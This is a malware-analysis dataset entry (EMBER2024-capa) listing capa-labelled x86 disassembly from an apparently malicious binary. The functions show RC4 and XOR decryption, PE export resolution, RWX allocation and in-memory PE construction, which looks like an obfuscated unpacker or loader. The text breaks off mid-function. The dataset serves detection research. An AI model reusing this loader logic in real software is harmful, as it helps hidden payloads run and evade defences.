joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1009b049
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x100ac100], 0
mov byte [0x100ac104], 0
mov dword [0x100ac0fc], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x100ac0f4], 0x7ed
mov eax, dword [0x100ac0fc]
add eax, 1
mov dword [0x100ac0fc], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1009b084
xor eax, eax
mov dword [0x100ac0f8], 0x441
mov dword [0x100ac0fc], 0
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x100ac108], 0
mov dword [0x100ac0f8], 0x2651
mov edx, dword [0x100ac100]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x100ac108], edi
mov dword [0x100ac0f4], 0x103
mov eax, edi
cdq
idiv ecx
mov dword [0x100ac100], edx
mov dword [0x100ac0f8], 0xfffff8df
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x100ac104], cl
mov dword [0x100ac0f8], 0x23a8
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov cl, byte [0x100ac104]
mov edx, dword [0x100ac100]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov dword [0x100ac0f4], 0x11a4
mov edx, dword [0x100ac0fc]
add edx, 1
mov dword [0x100ac0fc], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x1009b0cd
mov dword [0x100ac0f4], 0x12fc
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1009b582
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [0x100ac0f4], 0x3eb
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
xor eax, eax
mov dword [0x100ac0f8], 0x840
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov cl, byte [eax + 0x1009f794]
mov dl, byte [eax + 0x1009f765]
sub dl, cl
mov byte [ebp + eax - 0x20], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x2c], eax
jne 0x1009b5ad
lea eax, [ebp - 0x20]
mov dword [0x100ac0f8], 0x16248
mov dword [0x100ac0f4], 0x4b4
mov dword [ebp - 0x30], eax
call fcn.1009b8f2
mov dword [esp], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
call fcn.1009b3b3
cmp eax, 0
sete cl
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x35], cl
xor eax, eax
mov cl, byte [ebp - 0x35]
test cl, 1
mov dword [ebp - 0x3c], eax
jne 0x1009b6cc
jmp 0x1009b622
mov eax, dword [ebp - 0x34]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x100ac0f4]
add ecx, 0x2253
mov dword [0x100ac0f4], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x24]
mov dword [esp + 4], ecx
mov dword [ebp - 0x40], eax
call fcn.1009b7d5
xor eax, eax
mov ecx, dword [ebp - 0x40]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xc0
mov dword [0x100ac0f8], 0x13bc
mov dword [ecx + 0xc0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x28]
mov dword [edx + 0x24], ecx
mov ecx, dword [ebp - 0x40]
mov dword [edx + 0x14], ecx
mov dword [0x100ac0f4], 0xf7e
cmp ecx, 0
mov dword [ebp - 0x3c], eax
je 0x1009b6cc
mov eax, dword [ebp - 0x40]
add eax, 0x25bd
mov dword [0x100ac0f8], 0x414
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
add esp, 0x50
pop ebp
ret
Function at 0x1009bad3
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x24
mov dword [ebp - 8], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
xor ecx, ecx
mov dword [0x100ac0f8], 0x1ec2
mov edx, dword [ebp - 8]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov esi, dword [0x100ac0f4]
add esi, 0xffffd90d
mov dword [0x100ac0f4], esi
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], ecx
jmp 0x1009bb4c
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x1009bbb4
jmp 0x1009bbfc
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x1009bbc9
jmp 0x1009bbfc
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], edx
je 0x1009bb79
mov eax, dword [ebp - 0x1c]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x20], eax
jl 0x1009bb4c
mov eax, dword [ebp - 0x20]
mov dword [0x100ac0f8], 0x1559
mov dword [0x100ac0f4], 0xff6
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x18], eax
jne 0x1009bbfc
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x1009bb1c
jmp 0x1009bbfc
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x1009bb34
jmp 0x1009bbfc
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x10], 0x6c
sete dl
mov byte [ebp - 0x21], dl
mov al, byte [ebp - 0x21]
test al, 1
jne 0x1009bbe5
jmp 0x1009bbfc
mov eax, 1
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x28], eax
je 0x1009bc03
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1009bc03
mov eax, dword [ebp - 0x28]
add esp, 0x24
pop esi
pop ebp
ret
Function at 0x1009c026
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x30
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov edi, 0xfffff521
xor ebx, ebx
mov dword [0x100ac0f4], 0x56f
mov dword [0x100ac0fc], 0
mov dword [0x100ac100], 0
mov dword [0x100ac10c], 0
cmp eax, 0
mov dword [ebp - 0x10], eax
mov eax, ebx
mov dword [ebp - 0x14], eax
mov eax, ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], edi
je 0x1009c1c1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov esi, 0x100
mov dword [0x100ac0f8], 0x1770
add ecx, 1
mov dword [ebp - 0x30], eax
mov eax, ecx
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x100ac0fc], edx
mov ecx, dword [ebp - 0x24]
movzx edi, byte [ecx + edx]
mov ebx, dword [ebp - 0x34]
add edi, ebx
mov eax, edi
mov dword [ebp - 0x38], edx
cdq
idiv esi
mov dword [0x100ac100], edx
mov esi, dword [ebp - 0x38]
mov cl, byte [ecx + esi]
mov byte [0x100ac104], cl
mov edi, dword [ebp - 0x24]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov edx, dword [0x100ac0f4]
add edx, 0xffffdfde
mov dword [0x100ac0f8], edx
mov cl, byte [0x100ac104]
mov edx, dword [0x100ac100]
mov byte [edi + edx], cl
mov edx, dword [0x100ac0f4]
add edx, 0x264e
mov dword [0x100ac0f4], edx
mov edx, dword [0x100ac0fc]
movzx edx, byte [edi + edx]
mov ebx, dword [0x100ac100]
movzx ebx, byte [edi + ebx]
add ebx, edx
and ebx, 0xff
mov dword [0x100ac10c], ebx
mov dword [0x100ac0f4], 0x2274
mov cl, byte [edi + ebx]
mov edx, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x30]
mov ch, byte [edx + ebx]
mov byte [0x100ac111], ch
mov byte [0x100ac112], cl
xor ch, cl
mov byte [0x100ac110], ch
mov dword [0x100ac0f8], 0x2bc2
mov dword [0x100ac0f4], 0x422
mov edx, dword [ebp - 0x20]
mov byte [edx + ebx], ch
add ebx, 1
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x3c], ebx
je 0x1009c1b4
mov eax, dword [0x100ac0fc]
mov ecx, dword [0x100ac100]
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x28], edx
jmp 0x1009c091
mov eax, dword [0x100ac0f4]
add eax, 0xffffefb2
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [0x100ac0f4], eax
add esp, 0x30
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1009c1d1
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x98
mov eax, dword [0x100ac0f4]
add eax, 0xfffff5ce
mov dword [0x100ac0f8], eax
call fcn.10001087
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x24], ecx
je 0x1009c220
jmp 0x1009c352
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x1c], ecx
je 0x1009c2cf
jmp 0x1009c2bb
lea eax, [esp + 0x28]
lea ecx, [esp + 0x38]
mov dword [0x100ac0f4], 0x1bb6
mov dword [esp], eax
mov dword [esp + 0x18], ecx
call fcn.1009acc1
lea ecx, [0x1009b6d4]
mov edx, dword [esp + 0x28]
mov dword [esp + 0x50], edx
mov dword [esp + 0x44], 0x13d000
mov edx, dword [0x100ac0e0]
mov dword [esp + 0x64], edx
mov edx, dword [0x100ac0e4]
mov dword [esp + 0x8c], edx
mov edx, dword [0x100ac0e8]
mov dword [esp + 0x3c], edx
mov edx, dword [0x100ac0ec]
mov dword [esp + 0x94], edx
mov dword [0x100ac0f8], 0x17d1
mov edx, dword [0x100ac0f0]
mov dword [esp + 0x60], edx
mov dword [0x100ac0f4], 0x4b6
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x10]
cmp word [eax], 0x5a4d
mov dword [esp + 0x20], eax
je 0x1009c203
mov eax, dword [esp + 0x20]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x10], eax
jmp 0x1009c2a8
mov eax, dword [esp + 0x20]
mov dword [esp + 0x70], eax
mov dword [0x100ac0f4], 0x9dc
mov dword [0x100ac0f8], 0x3990
mov ecx, dword [esp + 0x1c]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x88], edx
call fcn.1009bad3
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0xc], ecx
jne 0x1009c34a
lea eax, [esp + 0x38]
mov dword [0x100ac0f4], 0x1644
mov ecx, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.1009b582
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [0x100ac0f8], 0xe1d
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
mov esp, ebp
pop ebp
ret
Function at 0x102615dd
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x48
mov eax, dword [ebp + 8]
mov ecx, dword [0x1027d4b8]
add ecx, 0x1134
mov dword [0x1027d4b4], ecx
mov dword [ebp - 0x10], eax
call fcn.10262744
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov esi, dword [eax + esi]
cmp esi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
je 0x1026162b
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x78]
mov dword [0x1027d4b8], 0x1efe
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov esi, dword [edx + eax + 0x24]
mov dword [0x1027d4b4], 0xe72
mov edi, dword [edx + eax + 0x18]
cmp edi, 0
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x34], ebx
je 0x10261746
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x2c]
add ecx, edx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
mov ecx, eax
mov edx, dword [ebp - 0x48]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x50], eax
mov byte [ebp - 0x51], bh
mov byte [ebp - 0x52], cl
je 0x102616f0
mov eax, dword [ebp - 0x50]
add eax, 1
mov cl, byte [ebp - 0x51]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x52]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x4c], eax
jne 0x1026169f
mov al, byte [ebp - 0x52]
test al, 1
jne 0x10261723
jmp 0x102616f9
xor eax, eax
mov ecx, dword [ebp - 0x44]
add ecx, 2
mov edx, dword [ebp - 0x40]
add edx, 1
mov esi, dword [ebp - 0x30]
cmp edx, esi
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], eax
jb 0x10261685
jmp 0x10261746
mov eax, dword [ebp - 0x44]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [0x1027d4b4], 0x114f
mov dword [ebp - 0x34], edi
mov eax, dword [ebp - 0x34]
add esp, 0x48
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10261751
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x64
mov eax, dword [ebp + 8]
xor ecx, ecx
mov edx, dword [0x1027d4b8]
mov esi, edx
add esi, 0xffffedec
mov dword [0x1027d4b8], esi
mov dword [0x1027d4b4], 0x1040
mov esi, ecx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x34]
lea edx, section..data
imul esi, eax, 0xa0
mov edi, edx
add edi, esi
add edi, 0x8c
mov esi, dword [edi]
imul edi, eax, 0xa0
add edx, edi
add edx, 0x88
movzx edx, word [edx]
xor edx, esi
add edx, ecx
add eax, 1
cmp eax, 0x221
mov ecx, edx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x3c], eax
jne 0x1026178b
xor eax, eax
mov ecx, dword [ebp - 0x38]
add ecx, 0xfffa353c
mov dword [0x1027d4b8], ecx
mov dword [0x1027d4b4], 0x195f
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov cl, byte [eax + 0x10265784]
mov dl, byte [eax + 0x10265755]
sub dl, cl
mov byte [ebp + eax - 0x2c], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x44], eax
jne 0x102617f3
lea eax, [ebp - 0x2c]
mov dword [0x1027d4b8], 0x79a
mov dword [0x1027d4b4], 0x1410
mov dword [ebp - 0x48], eax
call fcn.10262238
mov dword [esp], eax
mov eax, dword [ebp - 0x48]
mov dword [esp + 4], eax
call fcn.10261d22
mov ecx, eax
mov dword [0x1027d4d4], eax
mov eax, esp
mov edx, dword [ebp - 0x40]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x54], ecx
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x50]
lea edx, section..data
imul esi, eax, 0xa0
mov edi, edx
add edi, esi
add edi, 0x8c
mov esi, dword [edi]
imul edi, eax, 0xa0
mov ebx, edx
add ebx, edi
add ebx, 0x34
mov edi, dword [ebx]
imul ebx, eax, 0xa0
add edx, ebx
add edx, 0x88
movzx edx, word [edx]
xor edx, esi
mov esi, dword [ebp - 0x4c]
add esi, ecx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x60], edx
call fcn.10262605
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x5c]
add eax, ecx
mov edx, dword [ebp - 0x58]
add edx, 1
cmp edx, 0x221
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x54], edx
jne 0x1026187c
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
mov dword [esp + 4], eax
mov ecx, dword [ebp - 0x40]
mov dword [esp + 8], ecx
call fcn.10262045
xor eax, eax
mov ecx, dword [ebp - 0x4c]
add ecx, 0xeef52
mov edx, dword [ebp - 0x30]
mov dword [edx], ecx
mov dword [edx + 4], 0x128000
mov ecx, dword [ebp - 0x4c]
add ecx, 0xd0d3a
mov dword [edx + 8], ecx
mov dword [edx + 0xc], 0x1f20
mov dword [0x1027d4b4], 0x131b
add esp, 0x64
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x102619be
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x1027d4c0], 0
mov byte [0x1027d4c4], 0
mov dword [0x1027d4b4], 0x12ba
mov dword [0x1027d4b8], 0x639
mov dword [0x1027d4bc], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x1c]
mov dword [0x1027d4b8], 0x22b
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x1027d4bc]
add eax, 1
mov dword [0x1027d4bc], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x10261a0d
xor eax, eax
mov ecx, dword [0x1027d4b4]
add ecx, 0x1c54
mov dword [0x1027d4b8], ecx
mov dword [0x1027d4bc], 0
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x1027d4c8], 0
mov dword [0x1027d4b4], 0x19a
mov edx, dword [0x1027d4c0]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x1027d4c8], edi
mov dword [0x1027d4b4], 0x1ec9
mov eax, edi
cdq
idiv ecx
mov dword [0x1027d4c0], edx
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x1027d4c4], cl
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov dword [0x1027d4b8], 0x1ba8
mov dword [0x1027d4b4], 0xfffffd12
mov cl, byte [0x1027d4c4]
mov edx, dword [0x1027d4c0]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov edx, dword [0x1027d4bc]
add edx, 1
mov dword [0x1027d4bc], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x10261a5e
mov eax, dword [0x1027d4b8]
add eax, 0xffffe839
mov dword [0x1027d4b4], eax
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10261e95
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x1027d4b4], 0x195f
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
mov cl, byte [eax + 0x10265784]
mov dl, byte [eax + 0x10265755]
sub dl, cl
mov byte [ebp + eax - 0x24], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x30], eax
jne 0x10261eb7
lea eax, [ebp - 0x24]
mov dword [0x1027d4b8], 0x79a
mov dword [ebp - 0x34], eax
call fcn.10262238
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.10261d22
mov dword [0x1027d4b8], 0x266c
mov dword [0x1027d4b4], 0x27b
cmp eax, 0
mov dword [ebp - 0x38], eax
je 0x10261fcb
mov eax, dword [ebp - 0x38]
mov dword [0x1027d4b8], 0x28b5
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.10262112
xor eax, eax
mov ecx, dword [ebp - 0x3c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xc0
mov dword [ecx + 0xc0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x50], ecx
mov ecx, dword [ebp - 0x3c]
mov dword [edx + 0x2c], ecx
mov dword [0x1027d4b8], 0xadb
mov dword [0x1027d4b4], 0x6bf
add ecx, 0x20ca
mov esi, dword [ebp - 0x3c]
cmp esi, 0
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], eax
je 0x10261fc2
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
add esp, 0x50
pop esi
pop ebp
ret
xor eax, eax
add esp, 0x50
pop esi
pop ebp
ret
Function at 0x102623f7
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [0x1027d4b8], 0x1293
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x10262441
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x102624ae
jmp 0x10262501
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
je 0x1026246e
mov eax, dword [ebp - 0x18]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x1c], eax
jl 0x10262441
mov eax, dword [ebp - 0x1c]
mov ecx, dword [0x1027d4b4]
add ecx, 0xffffda3b
mov dword [0x1027d4b4], ecx
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x14], eax
jne 0x10262501
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x18], 0x6f
sete dl
mov byte [ebp - 0x1d], dl
mov al, byte [ebp - 0x1d]
test al, 1
jne 0x1026242d
jmp 0x10262501
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x10262501
mov eax, dword [0x1027d4b8]
add eax, 0x19c0
mov dword [0x1027d4b4], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x10262501
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x10262501
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x24], eax
je 0x10262508
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10262508
mov eax, dword [ebp - 0x24]
add esp, 0x24
pop ebp
ret
Function at 0x102628a5
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x34
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x1027d4bc], 0
mov dword [0x1027d4c0], 0
mov dword [0x1027d4cc], 0
mov ebx, dword [0x1027d4b8]
mov dword [ebp - 0x10], eax
mov eax, ebx
add eax, 0xffffed33
mov dword [0x1027d4b4], eax
mov eax, dword [ebp - 0x10]
cmp eax, 0
mov eax, edi
mov dword [ebp - 0x14], eax
mov eax, edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ebx
je 0x10262a49
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x14]
mov edi, 0x100
mov ebx, ecx
add ebx, 1
add esi, 1
add eax, 0xfffffeba
mov dword [ebp - 0x30], eax
mov eax, esi
mov dword [ebp - 0x34], edx
cdq
idiv edi
mov dword [0x1027d4bc], edx
mov esi, dword [ebp - 0x30]
mov dword [0x1027d4b4], esi
mov esi, dword [ebp - 0x24]
movzx esi, byte [esi + edx]
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x34]
add esi, ecx
mov eax, esi
mov dword [ebp - 0x3c], edx
cdq
idiv edi
mov dword [0x1027d4c0], edx
mov ecx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x3c]
mov cl, byte [ecx + esi]
mov byte [0x1027d4c4], cl
mov edi, dword [ebp - 0x24]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov cl, byte [0x1027d4c4]
mov edx, dword [0x1027d4c0]
mov byte [edi + edx], cl
mov dword [0x1027d4b8], 0xac5
mov edx, dword [0x1027d4bc]
movzx edx, byte [edi + edx]
mov ecx, dword [0x1027d4c0]
movzx ecx, byte [edi + ecx]
add ecx, edx
mov edx, dword [0x1027d4b4]
and ecx, 0xff
mov dword [0x1027d4cc], ecx
mov dword [0x1027d4b8], 0x8a5
add edx, 0xffffe3a1
mov dword [0x1027d4b4], edx
mov cl, byte [edi + ecx]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x38]
mov ch, byte [edx + esi]
mov dword [0x1027d4b8], 0xfffff828
mov byte [0x1027d4d1], ch
mov byte [0x1027d4d2], cl
xor ch, cl
mov byte [0x1027d4d0], ch
mov dword [0x1027d4b4], 0x137c
mov edx, dword [ebp - 0x20]
mov byte [edx + esi], ch
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x40], ebx
je 0x10262a49
mov eax, dword [0x1027d4b8]
mov ecx, dword [0x1027d4bc]
